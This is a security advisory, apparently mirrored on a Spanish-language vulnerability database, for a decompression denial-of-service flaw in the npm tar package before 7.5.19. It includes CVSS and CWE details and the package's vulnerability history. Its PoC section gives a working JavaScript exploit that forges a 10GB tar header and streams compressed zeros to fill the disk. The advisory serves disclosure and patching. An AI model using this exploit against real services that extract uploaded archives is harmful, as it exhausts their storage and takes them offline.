node-tar: Decompression/parse DoS via unlimited input
Summary
A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.
Details
The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.
Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.
PoC
The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.
- Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');
const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);
// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124);
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);
const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);
const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed
const run = () => {
while (gz.write(b));
gz.once('drain', run);
};
const monitor = setInterval(() => {
try {
const bytes = fs.statSync(`${d}/payload`).size;
const mb = Math.floor(bytes / (1024 * 1024));
process.stdout.write(`\r[>] Extracted: ${mb} MB`);
if (mb > 5000) {
console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.');
process.exit();
}
} catch {}
}, 50);
process.on('exit', () => {
clearInterval(monitor);
console.log('[*] Cleaning up...');
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});
run();- Run the PoC:
node poc.jsObservation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.
Impact
This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | tar | < 7.5.19 | 7.5.19 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-770- Plataforma
- npm
- Paquete
tar- Publicada
- 20.07.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-23hp-3jrh-7fpw - CC BY 4.0
Historial de vulnerabilidades: tar
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 21
- Primera → última
- 10.2017 07.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 15
- Media 5
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 0
- 2021: 5
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 12
-
node-tar: Decompression/parse DoS via unlimited input esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.